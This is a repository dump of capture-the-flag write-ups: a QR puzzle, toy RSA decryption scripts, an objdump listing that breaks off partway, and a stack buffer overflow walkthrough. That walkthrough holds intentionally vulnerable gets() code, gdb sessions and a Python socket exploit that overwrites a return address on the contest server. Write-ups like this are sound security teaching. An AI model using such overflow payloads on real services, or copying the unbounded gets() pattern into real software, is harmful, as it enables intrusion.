-------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/puzzle/images/puzzle.png -------------------------------------------------------------------------------- /puzzle/images/puzzle_pieces.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/puzzle/images/puzzle_pieces.png -------------------------------------------------------------------------------- /puzzle/images/qr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/puzzle/images/qr.png -------------------------------------------------------------------------------- /puzzle/images/qr_decoded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/puzzle/images/qr_decoded.png -------------------------------------------------------------------------------- /puzzle/puzzle.md: -------------------------------------------------------------------------------- 1 | puzzle 2 | ====== 3 | 4 | Flag: **zero_mutarts_ninja_turtles** 5 | 6 | ![puzzle](images/puzzle.png "puzzle challenge introduction") 7 | 8 | The challenge flavortext says "I hope this doesn't leave you 9 | [puzzled](puzzle.zip "puzzle Zip archive")." The link is to a Zip archive 10 | containing 16 black and white square images: 11 | 12 | ![puzzle pieces](images/puzzle_pieces.png "puzzle pieces") 13 | 14 | These appear to be pieces of a QR code, so let's reassemble them: 15 | 16 | ![assembled QR code](images/qr.png "assembled QR code") 17 | 18 | Uploading the assembled QR code to an [online QR code decoder](http://zxing.org/ 19 | "online QR code decoder") reveals the flag: 20 | 21 | ![decoded QR code](images/qr_decoded.png "decoded QR code") 22 | 23 | The flag is thus `zero_mutarts_ninja_turtles`. 24 | 25 | [« Return to challenge board](../README.md "Return to challenge board") 26 | -------------------------------------------------------------------------------- /puzzle/puzzle.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/puzzle/puzzle.zip -------------------------------------------------------------------------------- /real_overflow/images/real_overflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/real_overflow/images/real_overflow.png -------------------------------------------------------------------------------- /real_overflow/real_overflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/real_overflow/real_overflow -------------------------------------------------------------------------------- /real_overflow/real_overflow.md: -------------------------------------------------------------------------------- 1 | real overflow 2 | ============= 3 | 4 | Flag: **were_running_out_of_flags** 5 | 6 | ![real overflow](images/real_overflow.png "real overflow challenge introduction") 7 | 8 | The challenge flavortext says "Smashing the stack for fun and profit, the next 9 | level" and links to an executable and its source code: 10 | 11 | * [source](real_overflow_redacted.c "real_overflow_redacted.c") 12 | * [binary](real_overflow "real_overflow") (x86) 13 | 14 |
#include 
 15 | #include 
 16 | 
 17 | char flag[] = "not_the_real_flag";
 18 | 
 19 | void printf_flag(void) {
 20 |   printf("Well done! here is your flag: %s\n", flag);
 21 |   fflush(stdout);
 22 | }
 23 | 
 24 | int main(int argc, char *argv[]) {
 25 |   char buf[1024];
 26 | 
 27 |   printf("Oh you again, did you know that the address of print_flag is at %p?\nCan you tell me your name again? ", printf_flag);
 28 |   fflush(stdout);
 29 | 
 30 |   gets(buf);
 31 | 
 32 |   printf("Hi %s\n", buf);
 33 |   fflush(stdout);
 34 | 
 35 |   return 0;
 36 | }
37 | 38 | Examining the source code for the challenge, we notice two things: 39 | 40 | 1. There is a buffer overflow. The program `gets(buf)` from user input without 41 | limiting the read to the 1024-byte length of `buf`. 42 | 43 | 2. We are given the address of a function that prints the flag before being 44 | prompted for our name. 45 | 46 | [x86 calling conventions](https://en.wikipedia.org/wiki/X86_calling_conventions 47 | "x86 calling conventions") dictate that when calling a function, the return 48 | address is stored on the stack, just above the saved base pointer. If we can 49 | overwrite a return address with the address of `print_flag`, instead of jumping 50 | to that return address upon completing the function, the program will jump to 51 | and execute `print_flag` instead. 52 | 53 | Let's check our understanding using `gdb`. 54 | 55 | First, we'll need to compile `real_overflow_redacted.c` a) to allow 56 | stack-smashing, via `-fno-stack-protector`, and b) with debug symbols so we can 57 | set breakpoints, via `-g`: 58 | 59 | gcc -g -o real_overflow real_overflow_redacted.c -fno-stack-protector 60 | 61 | Next, running `real_overflow` under `gdb`, let's set breakpoints before and 62 | after the buffer overflow: 63 | 64 | $ gdb real_overflow 65 | GNU gdb (GDB) 7.5-ubuntu 66 | Reading symbols from /tmp/real_overflow...done. 67 | (gdb) break 15 68 | Breakpoint 1 at 0x400641: file real_overflow_redacted.c, line 15. 69 | (gdb) break 19 70 | Breakpoint 2 at 0x40065f: file real_overflow_redacted.c, line 19. 71 | (gdb) run 72 | Starting program: /tmp/real_overflow 73 | Oh you again, did you know that the address of print_flag is at 0x4005ec? 74 | Breakpoint 1, main (argc=1, argv=0x7fffffffe638) at real_overflow_redacted.c:15 75 | 15 fflush(stdout); 76 | (gdb) x/10x $rbp 77 | 0x7fffffffe550: 0x00000000 0x00000000 0xf7a3c76d 0x00007fff 78 | 0x7fffffffe560: 0x00000000 0x00000000 0xffffe638 0x00007fff 79 | 0x7fffffffe570: 0x00000000 0x00000001 80 | 81 | After the first breakpoint, before the buffer overflow, the base pointer is 82 | `0x0000000000000000` and return address in the stack frame for `main` is 83 | `0x00007ffff7a3c76d` (this is a 64-bit system). 84 | 85 | Continuing to the next breakpoint: 86 | 87 | (gdb) c 88 | Continuing. 89 | Can you tell me your name again? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 90 | 91 | Breakpoint 2, main (argc=1, argv=0x7fffffffe638) at real_overflow_redacted.c:19 92 | 19 printf("Hi %s\n", buf); 93 | (gdb) x/10x $rbp 94 | 0x7fffffffe550: 0x41414141 0x41414141 0x41414141 0x41414141 95 | 0x7fffffffe560: 0x00000000 0x00000000 0xffffe638 0x00007fff 96 | 0x7fffffffe570: 0x00000000 0x00000001 97 | 98 | At the second breakpoint, after we've provided 1040 bytes of input (enough to 99 | overflow `buf` and hopefully enough of the stack to overwrite the return address 100 | of the stack frame for `main`), we can see that the base pointer and return 101 | address have been overwritten by our `A`s (0x41). 102 | 103 | Continuing: 104 | 105 | (gdb) c 106 | Continuing. 107 | Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 108 | 109 | Program received signal SIGSEGV, Segmentation fault. 110 | 0x000000000040068d in main (argc=1, argv=0x7fffffffe638) at real_overflow_redacted.c:23 111 | 23 } 112 | 113 | Our test payload segfaults because on returning from `main` we try to jump to 114 | `0x4141414141414141`, which is an invalid address. 115 | 116 | All we need to do, then, is to send as our name a payload containing padding and 117 | then the address of `print_flag`. 118 | 119 | The address of `print_flag` will overwrite the return address in the stack frame 120 | for `main`, and instead of jumping back to the caller of `main` (a long story we 121 | won't get into for this challenge), the program will jump to and execute 122 | `print_flag`. 123 | 124 | Note that, while we were testing on a 64-bit system, the challenge executable is 125 | being run on a 32-bit system. We can tell because `objdump -d` on the provided 126 | binary shows registers like `$esp` and `$ebp`. Thus, when crafting our payload, 127 | pointers are 4 bytes, rather than the 8 we saw under `gdb`: 128 | 129 | import re, socket, struct 130 | 131 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 132 | s.connect(('ctf.stratum0.net', 4444)) 133 | 134 | # Welcome message is: 135 | # Oh you again, did you know that the address of print_flag is at 0x804849c? 136 | # Can you tell me your name again? 137 | welcome_msg = s.recv(4096) 138 | flag_func_addr = re.search("0x(.*)\?", welcome_msg).groups()[0].zfill(8) 139 | 140 | # To format the print_flag address for the payload, pack a struct with 141 | # the 4-byte address, little-endian. 142 | 143 | # How far up the stack the return address is may vary from system to 144 | # system, so repeat the address a couple of times past the bounds of 145 | # the array. 146 | payload = "A" * 1024 + struct.pack(" 2 | #include 3 | 4 | char flag[] = "not_the_real_flag"; 5 | 6 | void printf_flag(void) { 7 | printf("Well done! here is your flag: %s\n", flag); 8 | fflush(stdout); 9 | } 10 | 11 | int main(int argc, char *argv[]) { 12 | char buf[1024]; 13 | 14 | printf("Oh you again, did you know that the address of print_flag is at %p?\nCan you tell me your name again? ", printf_flag); 15 | fflush(stdout); 16 | 17 | gets(buf); 18 | 19 | printf("Hi %s\n", buf); 20 | fflush(stdout); 21 | 22 | return 0; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /rivest/images/rivest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/rivest/images/rivest.png -------------------------------------------------------------------------------- /rivest/rivest.md: -------------------------------------------------------------------------------- 1 | rivest-shamir-adleman 2 | ===================== 3 | 4 | Flag: **rivest_and_the_cool_gang_would_be_proud** 5 | 6 | ![rivest](images/rivest.png "rivest-shamir-adleman challenge introduction") 7 | 8 | The challenge flavortext says "This one is important, we have no clue 9 | how to decrypt the secret message! Can you help us?" and links to: 10 | 11 | * [rivest.py](rivest.py "rivest.py") 12 | * [rivest.txt](rivest.txt "rivest.txt") 13 | 14 | `rivest.txt` is a list of numbers. `rivest.py` is a short Python script that 15 | processes `rivest.txt` and tells us to implement a function that will decrypt 16 | each number. 17 | 18 | Given the name of the puzzle and the constants in the script, it is likely that 19 | each number in `rivest.txt` is an RSA-encrypted letter, and putting the 20 | decrypted letters together will give us the flag. 21 | 22 | The script gives us `n`, the modulus, and `e`, the public key exponent, but 23 | unlike with the [rsa challenge](../rsa/rsa.md "rsa challenge"), we aren't told 24 | `d`, the private key exponent we need to decrypt the messages: 25 | 26 | n = 80646413 27 | e = 5 28 | # You'll have to find the d yourself.. 29 | d = unknown 30 | 31 | Recall that d is selected such that `(d * e) % φ(n) = 1`, and `φ(n) = (p - 1) * 32 | (q - 1)`, where `p` and `q` are the prime factors of `n`. 33 | 34 | We don't know `p` and `q`, but fortunately `n` is small enough that we can 35 | quickly compute them, even using a very simple algorithm: 36 | 37 | def primes(n): 38 | d = 2 39 | while d * d <= n: 40 | if (n % d) == 0: 41 | return d, n / d 42 | else: 43 | d += 1 44 | 45 | p, q = primes(n) 46 | 47 | Now that we have `p` and `q`, we can compute `φ(n)`, and then `d`, using the 48 | `modinv` function supplied in `rivest.py`: 49 | 50 | tot = (p - 1) * (q - 1) 51 | d = modinv(e, tot) % tot 52 | 53 | Now that we have `d`, to recover the plaintext we can compute `m ≡ c^d (mod n)` 54 | using Python's built-in `pow` as we did in the [rsa challenge](../rsa/rsa.md 55 | "rsa challenge"). Here is the solution in full: 56 | 57 | import sys 58 | 59 | ### Given to us in the challenge ### 60 | 61 | n = 80646413 62 | e = 5 63 | 64 | def xgcd(a,b): 65 | prevx, x = 1, 0; prevy, y = 0, 1 66 | while b: 67 | q, r = divmod(a,b) 68 | x, prevx = prevx - q*x, x 69 | y, prevy = prevy - q*y, y 70 | a, b = b, r 71 | return a, prevx, prevy 72 | 73 | def modinv(a, m): 74 | a, u, v = xgcd(a, m) 75 | if a <> 1: 76 | raise Exception('No inverse: %d (mod %d)' % (a, m)) 77 | return u 78 | 79 | ### Our code ### 80 | 81 | def primes(n): 82 | d = 2 83 | while d * d <= n: 84 | if (n % d) == 0: 85 | return d, n / d 86 | else: 87 | d += 1 88 | 89 | def decrypt(c): 90 | return pow(c, d, n) 91 | 92 | p, q = primes(n) 93 | tot = (p - 1) * (q - 1) 94 | d = modinv(e, tot) % tot 95 | 96 | with open(sys.argv[1] , "r") as f: 97 | message = "" 98 | for line in f: 99 | message += chr(decrypt(int(line.strip()))) 100 | print message 101 | 102 | Running the script, we get: 103 | 104 | $ python rivest.py rivest.txt 105 | flag{rivest_and_the_cool_gang_would_be_proud} 106 | 107 | The flag is thus `rivest_and_the_cool_gang_would_be_proud`. 108 | 109 | [« Return to challenge board](../README.md "Return to challenge board") 110 | -------------------------------------------------------------------------------- /rivest/rivest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | n= 80646413 6 | e = 5 7 | 8 | # You'll have to find the d yourself.. 9 | d = unknown 10 | 11 | f = open( sys.argv[1] , "r" ) 12 | for line in f: 13 | line = int(line.strip()) 14 | # you'll have to insert the decrypt function for each line(number) here! 15 | #dec = ... 16 | print chr(dec) 17 | 18 | 19 | 20 | 21 | # might come handy 22 | def xgcd(a,b): 23 | """Extended GCD: 24 | Returns (gcd, x, y) where gcd is the greatest common divisor of a and b 25 | with the sign of b if b is nonzero, and with the sign of a if b is 0. 26 | The numbers x,y are such that gcd = ax+by.""" 27 | prevx, x = 1, 0; prevy, y = 0, 1 28 | while b: 29 | q, r = divmod(a,b) 30 | x, prevx = prevx - q*x, x 31 | y, prevy = prevy - q*y, y 32 | a, b = b, r 33 | return a, prevx, prevy 34 | 35 | def modinv(a, m): 36 | """Modular multiplicative inverse, i.e. a^-1 = 1 (mod m)""" 37 | a, u, v = xgcd(a, m) 38 | if a <> 1: 39 | raise Exception('No inverse: %d (mod %d)' % (a, m)) 40 | return u 41 | 42 | -------------------------------------------------------------------------------- /rivest/rivest.txt: -------------------------------------------------------------------------------- 1 | 72895864 2 | 15633602 3 | 38820479 4 | 60303684 5 | 7458706 6 | 60299530 7 | 20682371 8 | 54642689 9 | 26066811 10 | 32615038 11 | 35349196 12 | 76400140 13 | 38820479 14 | 56463813 15 | 80491201 16 | 76400140 17 | 35349196 18 | 69567074 19 | 26066811 20 | 76400140 21 | 74270178 22 | 76127647 23 | 76127647 24 | 15633602 25 | 76400140 26 | 60303684 27 | 38820479 28 | 56463813 29 | 60303684 30 | 76400140 31 | 72844764 32 | 76127647 33 | 69302434 34 | 15633602 35 | 80491201 36 | 76400140 37 | 6809712 38 | 26066811 39 | 76400140 40 | 42498798 41 | 60299530 42 | 76127647 43 | 69302434 44 | 80491201 45 | 33234011 46 | -------------------------------------------------------------------------------- /rsa/images/rsa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/rsa/images/rsa.png -------------------------------------------------------------------------------- /rsa/rsa.md: -------------------------------------------------------------------------------- 1 | the magic of rsa 2 | ================ 3 | 4 | Flag: **you_got_the_basics_my_padawan** 5 | 6 | ![rsa](images/rsa.png "rsa challenge introduction") 7 | 8 | The challenge flavortext says "You were able to hear some whispering on the last 9 | crypto party! \*whisper\* d is 35181901. Keep it secret or we are doomed!" and 10 | links to: 11 | 12 | * [rsa.py](rsa.py "Python script") 13 | * [rsa.txt](rsa.txt "Text file containing a list of numbers") 14 | 15 | `rsa.txt` is a list of numbers. `rsa.py` is a short Python script that processes 16 | `rsa.txt` and tells us to implement a function that will decrypt each number. 17 | 18 | Given the name of the puzzle and the constants in the script, it is likely that 19 | each number in `rsa.txt` is an RSA-encrypted letter, and putting the decrypted 20 | letters together will give us the flag. 21 | 22 | First, let's make sure we understand the constants: 23 | 24 | * `n = 65354147` and is used as the modulus for public and private keys. `n` = 25 | `p * q`, where `p` and `q` are distinct prime numbers. `p`, `q`, and `n` are 26 | much larger in real RSA exchanges. 27 | 28 | * `e = 13` and is used as the public key exponent: `c ≡ m^e (mod n)`, where `m` 29 | is the plaintext and `c` is the resulting ciphertext, i.e. a number in 30 | `rsa.txt` in this challenge. To choose `e`, we must first compute 31 | 32 | φ(n) = φ(p) * φ(q) = (p − 1) * (q − 1) 33 | 34 | where `φ(x)` is [Euler's totient 35 | function](https://en.wikipedia.org/wiki/Euler%27s_totient_function "Euler's 36 | totient function"), the number of integers `≤ x` that are relatively prime to 37 | `x`. 38 | 39 | `e` is then chosen such that `e` and `φ(n)` are relatively prime. `e` is much 40 | larger in real RSA exchanges. 41 | 42 | Fortunately, we are given `e` so we don't have to worry about this! 43 | 44 | * `d = 35181901` according to the flavortext and is used as the private key 45 | exponent: `m ≡ c^d (mod n)`. `d` is the multiplicative inverse of `e` and is 46 | supposed to be kept secret, so that only the holder of the secret can decrypt 47 | the encrypted messages. 48 | 49 | To recover the plaintext `m`, we need to compute `m ≡ c^d (mod n)`. Python's 50 | built-in `pow` can do modular exponentiation, so that will be our decryption 51 | function: 52 | 53 | import sys 54 | 55 | n = 65354147 56 | e = 13 57 | d = 35181901 58 | 59 | def decrypt(c): 60 | return pow(c, d, n) 61 | 62 | with open(sys.argv[1] , "r") as f: 63 | message = "" 64 | for line in f: 65 | message += chr(decrypt(int(line.strip()))) 66 | print message 67 | 68 | Running the script, we get: 69 | 70 | $ python rsa.py rsa.txt 71 | flag{you_got_the_basics_my_padawan} 72 | 73 | The flag is thus `you_got_the_basics_my_padawan`. 74 | 75 | If we want to see what constants for a real RSA private key look like, we can 76 | generate one with: 77 | 78 | openssl genrsa -out private.pem 2048 79 | 80 | and inspect it with 81 | 82 | openssl rsa -text -in private.pem 83 | 84 | In this case, the modulus `n` is 256 bytes, made from primes `p` and `q` that 85 | are 128 bytes each. The public exponent `e` is 65537, and the private exponent 86 | `d` is 256 bytes. 87 | 88 | [« Return to challenge board](../README.md "Return to challenge board") 89 | -------------------------------------------------------------------------------- /rsa/rsa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | n= 65354147 6 | e = 13 7 | 8 | d = ?? 9 | 10 | f = open( sys.argv[1] , "r" ) 11 | for line in f: 12 | line = int(line.strip()) 13 | # you'll have to insert the decrypt function for each line(number) here! 14 | #dec = ... 15 | print chr(dec) 16 | -------------------------------------------------------------------------------- /rsa/rsa.txt: -------------------------------------------------------------------------------- 1 | 32588732 2 | 56947340 3 | 16730166 4 | 16529146 5 | 17037091 6 | 9958499 7 | 18895626 8 | 49410873 9 | 58063242 10 | 16529146 11 | 18895626 12 | 30273022 13 | 58063242 14 | 30273022 15 | 60194095 16 | 9956852 17 | 58063242 18 | 44337129 19 | 16730166 20 | 5059543 21 | 40999214 22 | 39158796 23 | 5059543 24 | 58063242 25 | 54302449 26 | 9958499 27 | 58063242 28 | 8646641 29 | 16730166 30 | 51307370 31 | 16730166 32 | 57845836 33 | 16730166 34 | 34996934 35 | 32762958 36 | -------------------------------------------------------------------------------- /serial_verifier/images/serial_verifier.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/serial_verifier/images/serial_verifier.png -------------------------------------------------------------------------------- /serial_verifier/images/serial_verifier_session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/serial_verifier/images/serial_verifier_session.png -------------------------------------------------------------------------------- /serial_verifier/serial: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/serial_verifier/serial -------------------------------------------------------------------------------- /serial_verifier/serial.dump: -------------------------------------------------------------------------------- 1 | 2 | serial: file format elf32-i386 3 | 4 | 5 | Disassembly of section .init: 6 | 7 | 080482f4 <_init>: 8 | 80482f4: 53 push %ebx 9 | 80482f5: 83 ec 08 sub $0x8,%esp 10 | 80482f8: e8 b3 00 00 00 call 80483b0 <__x86.get_pc_thunk.bx> 11 | 80482fd: 81 c3 23 16 00 00 add $0x1623,%ebx 12 | 8048303: 8b 83 fc ff ff ff mov -0x4(%ebx),%eax 13 | 8048309: 85 c0 test %eax,%eax 14 | 804830b: 74 05 je 8048312 <_init+0x1e> 15 | 804830d: e8 3e 00 00 00 call 8048350 <__gmon_start__@plt> 16 | 8048312: 83 c4 08 add $0x8,%esp 17 | 8048315: 5b pop %ebx 18 | 8048316: c3 ret 19 | 20 | Disassembly of section .plt: 21 | 22 | 08048320 : 23 | 8048320: ff 35 24 99 04 08 pushl 0x8049924 24 | 8048326: ff 25 28 99 04 08 jmp *0x8049928 25 | 804832c: 00 00 add %al,(%eax) 26 | ... 27 | 28 | 08048330 : 29 | 8048330: ff 25 2c 99 04 08 jmp *0x804992c 30 | 8048336: 68 00 00 00 00 push $0x0 31 | 804833b: e9 e0 ff ff ff jmp 8048320 <_init+0x2c> 32 | 33 | 08048340 : 34 | 8048340: ff 25 30 99 04 08 jmp *0x8049930 35 | 8048346: 68 08 00 00 00 push $0x8 36 | 804834b: e9 d0 ff ff ff jmp 8048320 <_init+0x2c> 37 | 38 | 08048350 <__gmon_start__@plt>: 39 | 8048350: ff 25 34 99 04 08 jmp *0x8049934 40 | 8048356: 68 10 00 00 00 push $0x10 41 | 804835b: e9 c0 ff ff ff jmp 8048320 <_init+0x2c> 42 | 43 | 08048360 <__libc_start_main@plt>: 44 | 8048360: ff 25 38 99 04 08 jmp *0x8049938 45 | 8048366: 68 18 00 00 00 push $0x18 46 | 804836b: e9 b0 ff ff ff jmp 8048320 <_init+0x2c> 47 | 48 | 08048370 <__isoc99_scanf@plt>: 49 | 8048370: ff 25 3c 99 04 08 jmp *0x804993c 50 | 8048376: 68 20 00 00 00 push $0x20 51 | 804837b: e9 a0 ff ff ff jmp 8048320 <_init+0x2c> 52 | 53 | Disassembly of section .text: 54 | 55 | 08048380 <_start>: 56 | 8048380: 31 ed xor %ebp,%ebp 57 | 8048382: 5e pop %esi 58 | 8048383: 89 e1 mov %esp,%ecx 59 | 8048385: 83 e4 f0 and $0xfffffff0,%esp 60 | 8048388: 50 push %eax 61 | 8048389: 54 push %esp 62 | 804838a: 52 push %edx 63 | 804838b: 68 60 86 04 08 push $0x8048660 64 | 8048390: 68 f0 85 04 08 push $0x80485f0 65 | 8048395: 51 push %ecx 66 | 8048396: 56 push %esi 67 | 8048397: 68 7d 84 04 08 push $0x804847d 68 | 804839c: e8 bf ff ff ff call 8048360 <__libc_start_main@plt> 69 | 80483a1: f4 hlt 70 | 80483a2: 66 90 xchg %ax,%ax 71 | 80483a4: 66 90 xchg %ax,%ax 72 | 80483a6: 66 90 xchg %ax,%ax 73 | 80483a8: 66 90 xchg %ax,%ax 74 | 80483aa: 66 90 xchg %ax,%ax 75 | 80483ac: 66 90 xchg %ax,%ax 76 | 80483ae: 66 90 xchg %ax,%ax 77 | 78 | 080483b0 <__x86.get_pc_thunk.bx>: 79 | 80483b0: 8b 1c 24 mov (%esp),%ebx 80 | 80483b3: c3 ret 81 | 80483b4: 66 90 xchg %ax,%ax 82 | 80483b6: 66 90 xchg %ax,%ax 83 | 80483b8: 66 90 xchg %ax,%ax 84 | 80483ba: 66 90 xchg %ax,%ax 85 | 80483bc: 66 90 xchg %ax,%ax 86 | 80483be: 66 90 xchg %ax,%ax 87 | 88 | 080483c0 : 89 | 80483c0: b8 4b 99 04 08 mov $0x804994b,%eax 90 | 80483c5: 2d 48 99 04 08 sub $0x8049948,%eax 91 | 80483ca: 83 f8 06 cmp $0x6,%eax 92 | 80483cd: 77 01 ja 80483d0 93 | 80483cf: c3 ret 94 | 80483d0: b8 00 00 00 00 mov $0x0,%eax 95 | 80483d5: 85 c0 test %eax,%eax 96 | 80483d7: 74 f6 je 80483cf 97 | 80483d9: 55 push %ebp 98 | 80483da: 89 e5 mov %esp,%ebp 99 | 80483dc: 83 ec 18 sub $0x18,%esp 100 | 80483df: c7 04 24 48 99 04 08 movl $0x8049948,(%esp) 101 | 80483e6: ff d0 call *%eax 102 | 80483e8: c9 leave 103 | 80483e9: c3 ret 104 | 80483ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 105 | 106 | 080483f0 : 107 | 80483f0: b8 48 99 04 08 mov $0x8049948,%eax 108 | 80483f5: 2d 48 99 04 08 sub $0x8049948,%eax 109 | 80483fa: c1 f8 02 sar $0x2,%eax 110 | 80483fd: 89 c2 mov %eax,%edx 111 | 80483ff: c1 ea 1f shr $0x1f,%edx 112 | 8048402: 01 d0 add %edx,%eax 113 | 8048404: d1 f8 sar %eax 114 | 8048406: 75 01 jne 8048409 115 | 8048408: c3 ret 116 | 8048409: ba 00 00 00 00 mov $0x0,%edx 117 | 804840e: 85 d2 test %edx,%edx 118 | 8048410: 74 f6 je 8048408 119 | 8048412: 55 push %ebp 120 | 8048413: 89 e5 mov %esp,%ebp 121 | 8048415: 83 ec 18 sub $0x18,%esp 122 | 8048418: 89 44 24 04 mov %eax,0x4(%esp) 123 | 804841c: c7 04 24 48 99 04 08 movl $0x8049948,(%esp) 124 | 8048423: ff d2 call *%edx 125 | 8048425: c9 leave 126 | 8048426: c3 ret 127 | 8048427: 89 f6 mov %esi,%esi 128 | 8048429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 129 | 130 | 08048430 <__do_global_dtors_aux>: 131 | 8048430: 80 3d 48 99 04 08 00 cmpb $0x0,0x8049948 132 | 8048437: 75 13 jne 804844c <__do_global_dtors_aux+0x1c> 133 | 8048439: 55 push %ebp 134 | 804843a: 89 e5 mov %esp,%ebp 135 | 804843c: 83 ec 08 sub $0x8,%esp 136 | 804843f: e8 7c ff ff ff call 80483c0 137 | 8048444: c6 05 48 99 04 08 01 movb $0x1,0x8049948 138 | 804844b: c9 leave 139 | 804844c: f3 c3 repz ret 140 | 804844e: 66 90 xchg %ax,%ax 141 | 142 | 08048450 : 143 | 8048450: a1 30 98 04 08 mov 0x8049830,%eax 144 | 8048455: 85 c0 test %eax,%eax 145 | 8048457: 74 1f je 8048478 146 | 8048459: b8 00 00 00 00 mov $0x0,%eax 147 | 804845e: 85 c0 test %eax,%eax 148 | 8048460: 74 16 je 8048478 149 | 8048462: 55 push %ebp 150 | 8048463: 89 e5 mov %esp,%ebp 151 | 8048465: 83 ec 18 sub $0x18,%esp 152 | 8048468: c7 04 24 30 98 04 08 movl $0x8049830,(%esp) 153 | 804846f: ff d0 call *%eax 154 | 8048471: c9 leave 155 | 8048472: e9 79 